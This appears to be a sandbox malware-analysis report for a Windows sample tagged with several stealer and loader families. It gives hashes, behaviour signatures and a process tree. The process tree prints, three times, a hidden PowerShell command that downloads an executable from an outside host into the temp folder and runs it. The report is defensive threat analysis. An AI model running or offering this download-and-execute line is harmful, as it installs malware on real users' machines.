Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 14:02

General

  • Target
    2026-09-30_0cc542e46329930ea8117b98c512ca2e_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 949KB
  • Sample260930-rcg7caha36
  • SHA256 c3c1af9206a289ada2d2f37e0462b2b624c9667d01e41d3816e87f43a1500d8e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-30_0cc542e46329930ea8117b98c512ca2e_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_0cc542e46329930ea8117b98c512ca2e_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK450890.exe; Start-Process -FilePath $env:TEMP\BK450890.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK450890.exe; Start-Process -FilePath $env:TEMP\BK450890.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK450890.exe; Start-Process -FilePath $env:TEMP\BK450890.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:256

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/256-0-0x00007FFEFB8BF000-0x00007FFEFB8C0000-memory.dmp

        memory/256-1-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-4-0x00000293AFE70000-0x00000293AFE92000-memory.dmp

        memory/256-5-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-6-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-7-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-8-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-9-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-10-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-11-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-12-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-14-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-13-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-15-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-16-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-17-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp

        memory/256-19-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp